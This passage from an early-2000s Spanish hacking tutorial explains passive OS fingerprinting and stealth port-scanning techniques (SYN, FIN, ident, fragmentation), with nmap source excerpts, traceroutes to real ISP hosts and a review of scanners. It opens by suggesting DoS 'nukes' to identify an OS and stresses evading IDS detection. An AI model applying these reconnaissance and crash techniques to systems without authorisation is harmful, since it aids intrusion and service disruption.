metodo  que propongo  es el  aplicar  nukes de  forma cronologica  (es
decir, de  mas antiguos a  mas nuevos) e  ir viendo si el  servidor se
cuelga o no;  de esta forma sabremos la version ya  que si sabemos que
un  nuke  (por ejemplo,  Winnuke)  solo  funciona  con Win95  pues  ya
tendremos  el OS.   Aun asi,  no  recomiendo este  metodo por  razones
obvias.  Actualmente, estoy a la espera  de que mixter me aclare si el
ha  conseguido alguna  forma  de distinguir  una  pila en  win* en  su
nsat. De decirme como, lo incluire en este texto.

       
Callar es asentir ¡No te dejes llevar!

soplo

-------------------------------------------------------
CONTINUACION
-------------------------------------------------------

   Fingerprinting pasivo
   ~~~~~~~~~~~~~~~~~~~~~

   El fingerprinting pasivo, en realidad, se basa en lo mismo que
el    fingerprinting   tradicional    pero   la    implementacion   es
distinta. Esta, se hace mediante un sniffer que tracea el host remoto.

   Como  ves, en  realidad, no  somos nosotros  los  que enviamos
paquetes sino que simplemente nos dedicamos a recoger los paquetes que
son enviados por otros.

   Por  tanto, se  ve aqui  una primera  diferencia,  tenemos que
tener acceso a una de las maquinas que este en la red interna del host
remoto o del  host remoto en si, aunque esta  ultima posibilidad en la
mayoria de los casos ya implicaria el conocimiento del OS del host.

   Las cuatro cosas que comprobare en este tipo de fingerprinting
son la TTL, el tamaño de  ventana (window size), el Don't Fragment bit
y el  TOS. Pero  aun esta  por estudiar la  posibilidad de  fijarse en
otras cosas que  podrian servir en ciertos casos  para distinguir unos
OSs de otros; pero, en este manual, me centrare en unicamente en estos
cuatro aspectos.  Para diferenciar unos sistemas  operativos de otros,
habra que combinar estas cuatro pruebas.

   Otras de las  cosas que se podrian estudiar  seria el id, ISN,
opciones de TCP/IP...

   Este sistema no  es infalible y funcionara con  unos OSs mejor
que con otros y claro esta.
     

        Por  ejemplo,  mediante el  uso  de  ethereal,  se loggea  una
peticion  www mediante  el puerto  80.   Si seleccionamos  uno de  los
paquetes vemos lo siguiente:

   183-BARC-X45.libre.retevision.es -> 97-VIGO-X12.libre.retevision.es
   Arrival Time: Jan 17, 2001 21:54:36.2724      
   Internet Protocol -> version: 4
   Type of service: 0x00 (TOS)
   Flags: 0x04 -> .1.. = Don't fragment: Set
   Time to live: 58 (TTL)
   Window size: 15928 en decimal (0x3E38)

   Observas aqui, pues, los valores del TOS, DF bit, TTL y WS.

   Inicialmente nos fijaremos en el valor del TTL:

   El valor que podemos ver en  el log del ethereal es 58. Lo mas
probable es que el valor sea 64 pero haya saltado 6 veces hasta llegar
a nosotros, y en este caso se trata de un linux.

   Pero,  los saltos  que hace  hasta  llegar a  nuestro host  lo
podemos comprobar con  la ayuda de traceroute; claro  que sino quieres
que sea reconocido  por el host a estudio  dicho traceroute sera mejor
que  este pare  uno o  dos hops  antes del  host, siendo  esto posible
gracias a poder especificar el time-to-live y asi podremos hacer:

   $ /usr/sbin/traceroute -m 7 183-BARC-X45.libre.retevision.es
   traceroute to 183-BARC-X45.libre.retevision.es (62.82.15.183),
   7 hops max, 38 byte packets
   1  VIGO-X12.red.retevision.es  (62.81.45.44) 135.048 ms 122.210
   ms 129.345 ms
   2  VIGO-R1.red.retevision.es (62.81.45.28) 129.757  ms 119.371
   ms VIGO-R3.red.retevision.es (62.81.45.27) 139.679 ms
   3 VIGO-R15.red.retevision.es (62.81.44.133) 127.784 ms 129.119
   ms 119.800 ms
   4 BARC-R15.red.retevision.es  (62.81.125.2) 159.456 ms 219.433
   ms 214.197 ms
   5  BARC-R11.red.retevision.es (62.81.24.5) 214.997  ms 219.233
   ms 219.758 ms
   6 BARC-X45.red.retevision.es (62.81.17.131) 210.725 ms 219.183
   ms 219.693 ms

   Pero, para  que se  vea que realmente  esto funciona,  en este
caso te  copiare aqui el 7º  host para que  veas que ya seria  el host
remoto:

   7  183-BARC-X45.libre.retevision.es (62.82.15.183)  339.842 ms
   BARC-X45 .red.retevision.es  (62.81.17.131) 199.385 ms 179.089
   ms

   A  continuacion adjunto  una  tabla con  los  TTL de  diversos
sistemas operativos, especificando dicha ttl para tcp y udp:

   Sistema operativo      ttl-tcp     ttl-udp
   linux            64        64
   MacOS/MacTCP 2.0.x      60        60
   OS/2 TCP/IP 3.0         64        64
   OSF/1 V3.2A         60        30
   MS WfW            32        32
   MS Windows 95         32        32
   MS Windows NT 3.51      32        32
   MS Windows NT 4.0      128        128
   Solaris 2.x         255        255
   Sun OS 4.1.3/4.1.4      60        60
   Ultrix V4.1/V4.2A      60        30
   VMS/Multinet         64        64
   VMS/TCPware         60        64
   VMS/Wollongong 1.1.1.1      128        30
   VMS/UCX (ultimas ver.)      128        128
   AIX            60        30
   DEC Pathworks V5      30        30
   FreeBSD 2.1R         64        64
   HP/UX 9.0x         30        30
   HP/UX 10.01         64        64
   Irix 5.3         60        60
   Irix 6.x         60        60   


   Lo  que  hay que  tener  en  cuenta,  es que  existen  ciertas
utilidades que  permiten cambiar este valor  de TTL y  asi por ejemplo:

      - HP/UX cuenta con una utilidad que cambia el valor del TTL
en  los kernels  de  HP/UX llamada  set_ttl  hecha por  el HP  Support
Center.

      - En solaris se puede cambiar haciendo:
      ndd -set /dev/ip ip_def_ttl 'number'
      
      - En linux:
      echo 'number' > /proc/sys/net/ipv4/ip_default_ttl

      - En windows:
      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Paramete
rs

   Pero   aun  asi,   se   puede  incluir   este   valor  en   el
fingerprinting, para diferenciar algunos OSs de otros.

   El  siguiente valor  a  tener en  cuenta  es el  tamaño de  la
ventana (Window Size):
   
   Como se ha comentado  anteriormente en los analisis basados en
la  pila  TCP/IP tradicionales  ya  no  volvere  a repetir  la
informacion.

   Pero, cabe  destacar que en  la prueba especifica que  se hizo
para  fingerprinting pasivo,  los valores  no cambiaron  y asi vemos:

   Arrival Time: Jan 17, 2001 21:54:37.5323
   Window size: 15928 en decimal

   Arrival Time: Jan 17, 2001 21:54:38.1424
   Window size: 15928

   A continuacion, se analiza el bit DF:

   Es  de valor  unico,  haciento esto  mas  facil el  distinguir
algunos sistemas que  no lo usan, como por ejemplo  SCO o OpenBSD como
se ha especificado en la sección anterior.

   Y  se observa  como en  el  ejemplo especifico  usado para  el
fingerprinting pasivo:

   Flags: 0x04 -> .1.. = Don't fragment: Set

   El ultimo de los campos a estudiar es el TOS:

   De valor  tambien limitado, actualmente no  esta muy estudiado
en funcion de que varia, pero se piensa que depende de la sesion y del
protocolo usado  en la misma. Este  valor de TOS ha  sido utilizado en
uno de los metodos basados en ICMP de fingerprinting tradicional.

       
    2.2 Servicios
    ~~~~~~~~~~~~~

   I Software de escaneo de puertos y vulnerabilidades: panorama actual
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   Lo que quiero con esta  reducida sección es simplemente dar mi
opinion  acerca del software  de escaneo  de puertos  que hay  en este
momento en la scene.
   
   Es preciso destacar, que mientras algunos de los programas que
detallo a  continuacion simplemente son escaneadores  de puertos otros
tambien pueden  servir para  detectar vulnerabilidades en  el sistema,
debidas  a daemons (escuchando  en puertos  abiertos) que  tienen bugs
conocidos.

   Nmap:          lo         puedes          encontrar         en
http://www.insecure.org/nmap/index.html,  se  trata   de  uno  de  los
escaneadores   de    puertos   mas   completos.     Desarrollado   por
Fyodor. Admite tanto un escaneo normal como "silencioso".

   Strobe-classb:       lo        podras       encontrar       en
http://www.luyer.net/software/strobe-classb/  .   Sirve para  escanear
redes grandes en poco tiempo pero no es updateado.

   Vetescan: esta en http://www.self-evident.com/sploits.html. Es
normalmente  una herramienta  de "jaker",  ya  que con  ella se  puede
escanear a  gran velocidad grandes  redes e incluye los  exploits para
las vulnerabilidades que detecta en el propio tar.gz

   Satan:  para  bajarlo  vete a  http://www.porcupine.org/satan/
. Usa  una interface basada  en web y  su modelo de actuacion  ha sido
heredado por  programas como  Nessus, Saint o  SARA.  A lo  mejor para
hacerlo funcionar  en las mas modernas distribuciones  de linux tienes
problemas.

   Nessus: bajatelo de http://www.nessus.org/  . Es muy util. Hay
tanto cliente  como servidor;  hay clientes para  X11, Java  y Windows
pero  servidor unicamente  para  Unix.  Es  muy  facil agregar  nuevos
chequeos para vulnerabilidades que  inicialmente no estaba preparado y
su equipo de desarrolladores suele updatearlo frecuentemente.  Utiliza
el  Nmap para hacer  un analisis  preliminar de  los puertos.  Mas que
recomendable.

   Saint:  lo  puedes  encontrar  en  http://www.wwdsi.com/saint/
. Como ya he comentado se basa  en Satan y como este funciona a traves
de web. Las  nuevas funcionalidades no son agregadas  de una forma muy
rapida pero esto trae consigo un mejor funcionamiento del programa que
destaca por clasificar en niveles el problema encontrado.

   SARA:  se  encuentra  en  http://home.arc.com/sara/index.html.
Hereda su  funcionamiento de Saint  y Satan.  Incluye  una herramienta
para crear informes de las vulnerabilidades, etc.

   NSAT: te lo  puedes bajar de http://mixter.void.ru/progs.html.
Su  creador  es el  mixter,  reconocido  profesional  de la  seguridad
informatica. Al igual  que nessus se le pueden  hacer reglas nuevas de
chequeo para  nuevas vulnerabilidades no  existentes en el  momento de
codear el  programa.  La pega  es que no  se puede utilizar  desde una
maquina remota y solo funciona bajo linux/unix.

   Messala:  bajalo  en  http://www.securityfocus.com/tools/1228.
Este  programa me  ha sorprendido  gratamente ya  que analiza  un gran
numero de vulnerabilidades  conocidas.  Ademas, sus desarrolladores lo
updatean frecuentemente.

   Mns: pillalo en alguna web de seguridad informatica ya que los
enlaces  que van  a la  page de  dicho programa  no  funcionan.  Tiene
capacidad de escanear "silenciosamente" y muestra vulnerabilidades.

   Hay gran  numero de escaneadores de puertos  de nivel bastante
basico, tanto en C como perl que tampoco me voy a poner a analizar por
separado;    siempre    puedes    buscarlos   en    freshmeat.net    o
packetstorm.securify.com.  En algun caso puede ser interesante bajarte
alguno de ellos ya que te sera mas facil analizar el codigo usado para
este tipo de utilidades.

   Por otra  parte, cabe resaltar que  puedes encontrar reducidos
.c que  unicamente comprueban la  existencia de una  vulnerabilidad en
concreto.   Incluso,  te puede  ser  util,  el  hacerte algun  escaner
especifico de cierta vulnerabilidad, en  caso de que esta no haya sido
hecha publica.

Callar es asentir ¡No te dejes llevar!

soplo

----------------------------------------------------
CONTINUACION
----------------------------------------------------

   II Tecnicas usadas en el escaneo de puertos
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   En un escaneo de puertos,  se han ido incluyendo tecnicas, que
en la mayoria de los casos lo  que buscan es que el escaneo de puertos
no sea detectado  por el host remoto. Actualmente  hay un cierto vacio
legal en lo que se refiere a  este tipo de acciones ya que no esta muy
claro si es legal o  ilegal hacer dichos escaneos. Segun una sentencia
reciente  (12-2000)  en USA,  el  escaneo  de  puertos no  es  ilegal,
mientras no se perjudique al host remoto.
      
   Escaneando TCP con connect(): es el metodo basico que es usado
en los escaners de puertos.  El problema es que abre una conexion a un
puerto de forma  que puede ser detectado dicho  intento y loggeado. La
parte  positiva  es  que  destaca   por  su  rapidez  y  facilidad  de
implementacion en codigo C. Puede  ser utilizado con varios sockets en
paralelo para  asi no tener que usar  un bucle que haria  mas largo el
proceso.
   
   Por ejemplo en el PortScanner-1.2, encontramos:

   ...
   while (((base_port + current_port) <= end_port) || !finished) {
   sock = socket(PF_INET, SOCK_STREAM, 0);
   ...
   if (connect(sock, (struct sockaddr *)&address2, sizeof(address2)) == 0)
   ...

   y  a  continuacion en  el  code  simplemente encontramos  como
intenta averiguar el nombre de  servicio asignado a cada puerto que va
encontrando abierto,  pero no lo voy  a copiar aqui porque  es un poco
largo  aunque  facil.  Vemos  pues,  como  el  funcionamiento de  este
escaner es sumamente  sencillo y su archivo portscanner.c  es de facil
comprension para  cualquier persona con  ciertos conocimientos de  C y
unix networking programming.

     
   Escaneando TCP  con SYN: Este metodo  es un poco  mejor que el
clasico expuesto  anteriormente ya  que no abre  una conexion  TCP por
completo,  por eso  el apelativo  "half-open"  en ingles.  Se basa  en
enviar  un paquete  SYN a  un puerto  y si  se obtiene  un  SYN|ACK es
inequivocamente porque el  puerto esta abierto y si  se obtiene un RST
es  indicacion de que  el puerto  esta cerrado.   De estar  abierto se
envia   un  RST   para  cerrar   la  conexion,   pero  esto   lo  hace
automaticamente el kernel. Esta  tecnica seguramente hay en servidores
en los  que no es detectada  pero actualmente ya  hay herramientas que
permiten  su deteccion  como iplog,  ademas, necesitas  privilegios de
root para construir dichos paquetes.
   
   Por  ejemplo,  en  el   portscanner  hecho  por  Uriel  Maimon
(lifesux@cox.org) para  su articulo en phrack 49  (Volume Seven, Issue
Forty-Nine), Port Scanning without the SYN flag, vemos como define:

   ...

   0: half-open scanning (type 0, SYN)
   /* se observa que admite este tipo de escaneo */   
   ...

   inline int tcpip_send(int   socket,
               struct sockaddr_in *address,
                              unsigned long s_addr,
               unsigned long t_addr,
               unsigned      s_port, 
               unsigned      t_port, 
               unsigned char tcpflags,
               unsigned long seq,
               unsigned long ack,
               unsigned      win,
               char          *datagram,
               unsigned      datasize)
   
   /* para poder enviar paquetes configurables */
    ...


    tcp->th_sport   = htons(s_port);
    tcp->th_dport   = htons(t_port);
    tcp->th_off     = 5;          /* 20 bytes, (no options) */
    tcp->th_flags   = tcpflags; 
    tcp->th_seq   = htonl(seq);
    tcp->th_ack   = htonl(ack);
    tcp->th_win   = htons(win); /* we don't need any bigger, I guess. */
   
    /* opciones tcp */
   
    ...

    struct tcphdr       *tcp    = (struct tcphdr *)(packet+IPHDRSIZE);

    ...
   
    if (tcp->th_flags & (TH_ACK | TH_SYN))
                              {
                                 readport->state = 1;
                             printf(" (SYN+ACK)");
                                 tcpip_send(rawsock,&destaddr,
                                 spoof_addr,destaddr.sin_addr.s_addr
                                           STCP_PORT,readport->n,
                                           TH_RST,
                                           readport->seq++, 0,
                                           512,
                                           NULL,
                                       0); 
                      }
   /* se observa aqui el corte despues con RST despues de recibir
   respuesta */
     ...

   Pero,  aun asi,  te  recomiendo que  revises  el codigo  por
completo si quieres  entender bien este metodo aplicado  a codes en C,
ya  que  tampoco  he  pasteado  todo  lo importante  sino  lo  que  he
encontrado  interesante  segun  repasaba  el  codigo,  y  quizas  para
entenderlo hay que verlo integramente.


   Escaneando TCP  con FIN: si  piensas que el servidor  que esta
analizando puede detectar un escaner  basado en la tecnica de envio de
paquetes SYN,  siempre se  puede recurrir a  escaners basados  en este
metodo. El hecho es que los puertos abiertos ante el envio de paquetes
FIN  no  hacen nada,  los  ignoran,  en  cambio los  puertos  cerrados
responden con un RST|ACK.  Este metodo,  pues, se basa en un bug de la
implementacion TCP en ciertos  sistemas operativos pero hay en ciertos
sistemas  que  esto no  funciona,  como en  el  caso  de las  maquinas
Microsoft). Pero, en  las ultimas releases de ciertos  programas ya se
agrega la  opcion incluso de detectar  este tipo de  scaneos.  Asi por
ejemplo snort:

Fri 29 03:25:58 honorato snort[565]: SCAN-SYN FIN: w.x.y.z:0 -> z.y.w.98:53

    Si quieres  ver que realmente  hay empresas que  se preocupan
hasta de este  tipo de escaners puedes revisar el  gran numero de logs
de      este     tipo      que     hay      en      (por     ejemplo):
http://www.sans.org/y2k/070200-2000.htm

    Y  en nmap  encontramos (he  saltado  partes del  code de  la
func., cuidado ):
   
    ...

portlist fin_scan(struct hoststruct *target, unsigned short *portarray) {

    /* la  funcion, a continuacion de esto,  define variables, no
lo he copiado, porque ocuparia demasiado.. */   

    ...

timeout = (target->rtt)? target->rtt + 10000 : 1e5;

bzero(&stranger, sockaddr_in_size);
bzero(portno, o.max_sockets * sizeof(unsigned short));
bzero(trynum, o.max_sockets * sizeof(unsigned short));
starttime = time(NULL);

    /* preliminares */

    ...

if (o.debugging || o.verbose)
  printf("Initiating FIN stealth scan against %s (%s), sleep delay: %ld usecond
s\n", target->name, inet_ntoa(target->host), timeout);

         /* se observa que indica que empieza el escaneo.. saca en
    pantalla datos del scan */

    ...

if (!target->source_ip.s_addr) {
  if (gethostname(myname, MAXHOSTNAMELEN) ||
      !(myhostent = gethostbyname(myname)))
    fatal("Your system is fucked up.\n");

  memcpy(&target->source_ip, myhostent->h_addr_list[0], sizeof(struct in_addr))
;
  if (o.debugging || o.verbose)
    printf("We skillfully deduced that your address is %s\n",
           inet_ntoa(target->source_ip));
}

     /* comprobaciones de que localhost va bien y saca en pantala
nuestra direccion local */

     ...

if (!(pd = pcap_open_live(target->device, 92, 0, 1500, err0r)))
  fatal("pcap_open_live: %s", err0r);

if (pcap_lookupnet(target->device, &localnet, &netmask, err0r) < 0)
  fatal("Failed to lookup device subnet/netmask: %s", err0r);

p = strdup(inet_ntoa(target->host));
#ifdef HAVE_SNPRINTF
snprintf(filter, sizeof(filter), "tcp and src host %s and dst host %s and
dst port %d", p, inet_ntoa(target->source_ip), MAGIC_PORT );
#else
sprintf(filter, "tcp and src host %s and dst host %s and dst port %d", p,
inet_ntoa(target->source_ip), MAGIC_PORT );
#endif
free(p);
if (o.debugging)
  printf("Packet capture filter: %s\n", filter);
if (pcap_compile(pd, &fcode, filter, 0, netmask) < 0)
  fatal("Error compiling our pcap filter: %s\n", pcap_geterr(pd));
if (pcap_setfilter(pd, &fcode) < 0 )
  fatal("Failed to set the pcap filter: %s\n", pcap_geterr(pd));

     /*  vemos como  Fyodor  hace  usa de  las  librerias pcap  y
despues de dos comprobaciones con pcap_open_live() y pcap_lookupnet(),
te recomiendo que  si no estas familiarizado con  la implementacion de
pcap en C  que leas algo sobre el tema. La  funcion strdup devuelve un
puntero  a una  nueva  cadena que  en  realidad es  duplicacion de  la
variable que  tiene la direccion remota.  Despues  puedes observar que
hace uso  de snprintf de estar  permitido su uso, y  sino usa sprintf,
donde puedes ver  el host local, host remoto  y puerto. A continuacion
libera p con  un free() y ves como monta el  Packet capture filter con
pcap */

     ...

if ((rawsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
  perror("socket trobles in fin_scan");

     /* creacion de socket, y comprobacion de que funciona */

     ...

while(!done) {
  for(i=0; i <  o.max_sockets; i++) {
    if (!portno && portarray[j]) {
      portno = portarray[j++];
    }
    if (portno) {
    if (o.fragscan)
      send_small_fragz(rawsd, &target->source_ip, &target->host, MAGIC_PORT, po
rtno, TH_FIN);
    else send_tcp_raw(rawsd, &target->source_ip , &target->host, MAGIC_PORT,
                      portno, 0, 0, TH_FIN, 0, 0, 0);
    usleep(10000); /* *WE* normally do not need this, but the target
                      lamer often does */
    }
  }
 
   /*  interesante :),  bueno, puedes  observar un  bucle  de uso
obvio  y  fijate   en  send_small_fragz()  y  send_tcp_raw().  Tambien
interesante el uso del  temporizador, con comentario del propio fyodor
incluido */

   ...

   {
      if (bytes < (4 * ip->ip_hl) + 4)
        continue;
      if (ip->ip_src.s_addr == target->host.s_addr)
      {
        tcp = (struct tcphdr *) (((char *) ip) + 4 * ip->ip_hl);
       
   if (tcp->th_flags &  TH_RST)
   {
   badport = ntohs(tcp->th_sport);
     if  (o.debugging >  1) printf("Nothing  open on  port %d\n", badport)
;  /*  delete  the  port  from  active  scanning  */
     for(i=0; i < o.max_sockets; i++)
         if (portno == badport)
              {
         if (o.debugging && trynum > 0) printf("Bad port %d caught
         on  fin scan,  try number  %d\n", badport,  trynum  + 1);
         trynum  =   0; 
         portno  =   0; 
         break; 
         } 
         if   (i  == o.max_sockets) 
         {
         if  (o.debugging)  printf("Late packet  or
         dupe,  deleting  port  %d.\n", badport); 
         dupesinarow++; 
         if (target->ports) deleteport(&target->ports,     badport,
     IPPROTO_TCP);   
         }   
      }   
      else   
      if  (o.debugging   >   1)   
      {
      printf("Strange  packet  from  target%d!   Here  it  is:\n",
      ntohs(tcp->th_sport));     
      if       (bytes      >=      40)
      readtcppacket(response,1); else hdump(response,bytes);
      }
   }
      }
             
   /*  fijate dentro  de if  (tcp->th_flags &  TH_RST) que  si se
cumple comprueba if (o.debugging > 1) y abre un bucle, con dos if's en
su  interior en  los que  tambien conviene  fijarse. if  (portno ==
badport)...if (i ==  o.max_sockets)... y en el interior  de los mismos
imprime los Bad  port y borra puerto del escaneo  por ser "Late packet
or dupe" respectivamente. Si no se cumple que (tcp->th_flags & TH_RST)
entonces comprueba si  o.debuffing > 1 y de serlo mira  lo que pasa en
el code */

   ...

/* adjust waiting time if neccessary */
  if (dupesinarow > 6)
     {
    if (o.debugging || o.verbose)
      printf("Slowing down send frequency due to multiple late packets.\n");
    if (timeout < 10 * (target->rtt + 20000)) timeout *= 1.5;
    else
      {
      printf("Too many late packets despite send frequency decreases, skipping
scan.\n");
      return target->ports;
      }
  }
     
        /*  mas  comprobaciones,  para  diferentes  tipos  de  problemas,
tampoco veo necesario detallarlo otra  vez ya que creo que se entiende
bastante bien de analizar todo el code */

   ...


  someleft = 0;
  for(i=0; i < o.max_sockets; i++)
    if (portno) {
      if (++trynum >= retries) {
        if (o.verbose || o.debugging)
          printf("Good port %d detected by fin_scan!\n", portno);
        addport(&target->ports, portno, IPPROTO_TCP, NULL);
        send_tcp_raw( rawsd, &target->source_ip, &target->host, MAGIC_PORT, por
tno, 0, 0,
                      TH_FIN, 0, 0, 0);
        portno = trynum = 0;
      }
      else someleft = 1;
    }
     
  if (!portarray[j] && (!someleft || --waiting_period <= 0)) done++;
}
     
     /* voila, me  parece que lo deja bien claro  el printf, fijate en
addport() y send_tcp_raw(). */

   ...

if (o.debugging || o.verbose)
  printf("The TCP stealth FIN scan took %ld seconds to scan %d ports.\n",
        (long) time(NULL) - starttime, o.numports);
pcap_close(pd);
close(rawsd);
return target->ports;
}
        /* bueno.. se acabo, curioso, eh? */

   
   Escaneando TCP  con 'reverse ident':  esta tecnica se  basa en
que el protocolo  ident (lee rfc1413) te permite  descubrir el usuario
propietario de un  proceso conectado via TCP incluso si  no ha sido el
proceso  el que  ha iniciado  la  conexion.  Esto,  permite saber  los
propietarios  de cada  daemon  que escucha  en  puertos abiertos.   El
problema es que  se necesita abrir una conexion TCP  completa y por lo
tanto es facilmente detectable.  Un  ejemplo de codigo que aplica esto
lo encontramos en el nmap de Fyodor:

   ...
   
   int getidentinfoz(struct in_addr target, int localport, int remoteport,
                  char *owner) {
   
   /* inicio de  la funcion en el que se  aplica dicho metodo, no
voy a copiar las definiciones de variables.  */

   ...

   owner[0] = '\0';
   if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
   { perror("Socket troubles"); exit(1); }
   sock.sin_family = AF_INET;
   sock.sin_addr.s_addr = target.s_addr;
   sock.sin_port = htons(113);
   usleep(50000);

   /* me parece  que esta muy claro la creacion  de un socket() y
la definicion de  la familia, addr y puerto  en lo referente a sock. */

   ...

res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
if (res < 0 ) {
  if (o.debugging || o.verbose)
    printf("identd port not active now for some reason ... hope we didn't break
it!\n");
  close(sd);
  return 0;
}

   /*  en el  supuesto de  que  el connect  falle, es  decir <  0
entonces  comprueba if  (o.debugging  || o.verbose)  y ya  ves tu.. */

   ...


sprintf(request,"%hi,%hi\r\n", remoteport, localport);
if (o.debugging > 1) printf("Connected to identd, sending request: %s", request
);
if (write(sd, request, strlen(request) + 1) == -1) {
  perror("identd write");
  close(sd);
  return 0;
}
else if ((res = read(sd, response, 1024)) == -1) {
  perror("reading from identd");
  close(sd);
  return 0;
}
else {
  close(sd);
  if (o.debugging > 1) printf("Read %d bytes from identd: %s\n", res, response)
;

   /* se observa  como si la o.debugging > 1  entonces es que que
se ha conseguido conexion identd.  Despues vemos el intento de write()
y de  read() con identd y la  salida del numero de  bytes leidos desde
identd en caso de llevarse a cabo */

   ...


  if ((p = strchr(response, ':'))) {
    p++;
    if ((q = strtok(p, " :"))) {
      if (!strcasecmp( q, "error")) {
        if (strstr(response, "HIDDEN-USER") || strstr(response, "hidden-user"))
{
          printf("identd returning HIDDEN-USER, giving up on it\n");
          return -1;
        }
        if (o.debugging) printf("ERROR returned from identd for port %d\n", rem
oteport);
   return 0;
      }
      if ((os = strtok(NULL, " :"))) {
        if ((p = strtok(NULL, " :"))) {
          if ((q = strchr(p, '\r'))) *q = '\0';
          if ((q = strchr(p, '\n'))) *q = '\0';
          strncpy(owner, p, 512);
          owner[512] = '\0';
        }
      }
    }
  }
}
return 1;
}

   /* se observa como despues si localiza : en la cadena response
(la enviada por identd).  Despues,  se observa el intento de averiguar
el usuario, cuya salida comprueba que no sea HIDDEN-USER o hidden-user
ya que esto querria decir que no se puede saber */


        Fragmentation scanning: Este metodo  se basa en una tecnica no
totalmente nueva sino  que es una variacion de  otras tecnicas, ya que
en realidad, y como mostrare en el ejemplo de codigo es un scan basado
en SYN o FIN pero con pequeños paquetes fragmentados.  En realidad, se
mandan  una  pareja  de  pequeños  fragmentos  IP  al  host  remoto  a
estudiar.  El  principal  problema  es que  algunos  programas  tienen
problemas para tratar  este tipo de paquetes.  La  ventaja es que este
metodo de escaneo es mas dificil de detectar y filtrar por los IDS. 
        A continuacion, detallo un ejemplo en C de dicha tecnica:

   ...
   
int send_small_fragz(int sd, struct in_addr *source, struct in_addr *victim,
                     int sport, int dport, int flags) {
           
   /* inicio de la funcion en la que se ve un ejemplo practico de
uso de este metodo */

   ...

struct pseudo_header {
/* for computing TCP checksum, see TCP/IP Illustrated p. 145 */
  unsigned long s_addy;
  unsigned long d_addr;
  char zer0;
  unsigned char protocol;
  unsigned short length;
};

   /* haz lo  que dice fyodor en su comentario  y te enteraras un
poco mas de lo que significa esta estructura. Ademas, te recomiendo no
solo que veas la  p.  145 sino que leas TCP/IP Illustrated  vol. 1 y 2
si  quieres realmente  tener un  control del  funcionamiento  de redes
TCP/IP */

        ...

char packet[sizeof(struct ip) + sizeof(struct tcphdr) + 100];
struct ip *ip = (struct ip *) packet;
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip));
struct pseudo_header *pseudo = (struct pseudo_header *) (packet + sizeof(struct
ip) - sizeof(struct pseudo_header));
char *frag2 = packet + sizeof(struct ip) + 16;
struct ip *ip2 = (struct ip *) (frag2 - sizeof(struct ip));
int res;
struct sockaddr_in sock;
int id;

   /*  definiciones de  estructuras  y variables,  fijate en  las
estructuras de  tipo ip, tcphdr y  pseudo_header.  Realmente necesitas
conceptos de programacion de sockets  bajo C si quieres entenderlo; te
recomiendo   Unix  Networking   Programming   vol.  1   y   2  de   R.
Stevens. Tampoco me parece el  proposito de este manual explicar en si
lo  que es  la programacion  de sockets  en C,  unicamente  mostrar el
codigo usado para las tecnicas de escaneo especificadas. */

        ...

sock.sin_family = AF_INET;
sock.sin_port = htons(dport);

sock.sin_addr.s_addr = victim->s_addr;

bzero((char *)packet, sizeof(struct ip) + sizeof(struct tcphdr));

   /* definicion de familia, puerto y direccion de sock.. */

   ...

pseudo->s_addy = source->s_addr;
pseudo->d_addr = victim->s_addr;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));

tcp->th_sport = htons(sport);
tcp->th_dport = htons(dport);
tcp->th_seq = rand() + rand();

tcp->th_off = 5 /*words*/;
tcp->th_flags = flags;

tcp->th_win = htons(2048); /* Who cares */

tcp->th_sum = in_cksum((unsigned short *)pseudo,
                       sizeof(struct tcphdr) + sizeof(struct pseudo_header));


   /* Estamos hablando de  raw sockets. Vemos pues, la definicion
de variables de las  estructuras pseudo (pseudo_header) y tcp (tcphdr)
*/

   ...

bzero((char *) packet, sizeof(struct ip));
ip->ip_v = 4;
ip->ip_hl = 5;
ip->ip_len = htons(sizeof(struct ip) + 16);
id = ip->ip_id = rand();
ip->ip_off = htons(MORE_FRAGMENTS);
ip->ip_ttl = 255;
ip->ip_p = IPPROTO_TCP;
ip->ip_src.s_addr = source->s_addr;
ip->ip_dst.s_addr = victim->s_addr;
#if HAVE_IP_IP_SUM
ip->ip_sum= in_cksum((unsigned short *)ip, sizeof(struct ip));
#endif
if (o.debugging > 1) {
  printf("Raw TCP packet fragment #1 creation completed!  Here it is:\n");
  hdump(packet,20);
}
if (o.debugging > 1)
  printf("\nTrying sendto(%d , packet, %d, 0 , %s , %d)\n",
        sd, ntohs(ip->ip_len), inet_ntoa(*victim),
        (int) sizeof(struct sockaddr_in));
if ((res = sendto(sd, packet, ntohs(ip->ip_len), 0,
                  (struct sockaddr *)&sock, sizeof(struct sockaddr_in))) == -1)
  {
    perror("sendto in send_syn_fragz");
    return -1;
  }
if (o.debugging > 1) printf("successfully sent %d bytes of raw_tcp!\n", res);

   /*  Vemos como  inicialmente  se prepara  la  cabecera ip  del
primer frag que  se envia al host remoto; puedes  ver como se rellenan
las variables de la estructura ip. Despues, se ve como comprueba si la
creacion del paquete ha sido satisfactoria y lo intenta enviar. */

   ...

bzero((char *) ip2, sizeof(struct ip));
ip2->ip_v= 4;
ip2->ip_hl = 5;
ip2->ip_len = htons(sizeof(struct ip) + 4);
ip2->ip_id = id;
ip2->ip_off = htons(2);
ip2->ip_ttl = 255;
ip2->ip_p = IPPROTO_TCP;
ip2->ip_src.s_addr = source->s_addr;
ip2->ip_dst.s_addr= victim->s_addr;
#if HAVE_IP_IP_SUM
ip2->ip_sum = in_cksum((unsigned short *)ip2, sizeof(struct ip));
#endif
if (o.debugging > 1) {
  printf("Raw TCP packet fragment creation completed!  Here it is:\n");
  hdump(packet,20);
}
if (o.debugging > 1)

  printf("\nTrying sendto(%d , ip2, %d, 0 , %s , %d)\n", sd,
         ntohs(ip2->ip_len), inet_ntoa(*victim), (int) sizeof(struct sockaddr_i
n));
if ((res = sendto(sd, (void *)ip2, ntohs(ip2->ip_len), 0,
                  (struct sockaddr *)&sock, (int) sizeof(struct sockaddr_in)))
== -1)
  {
    perror("sendto in send_tcp_raw frag #2");
    return -1;
  }

return 1;
}

   /*  se ve  en  esta ultima  parte  de codigo  la creacion  del
segundo paquete, comprobacion  de que todo va bien  e intento de envio
al host remoto. */


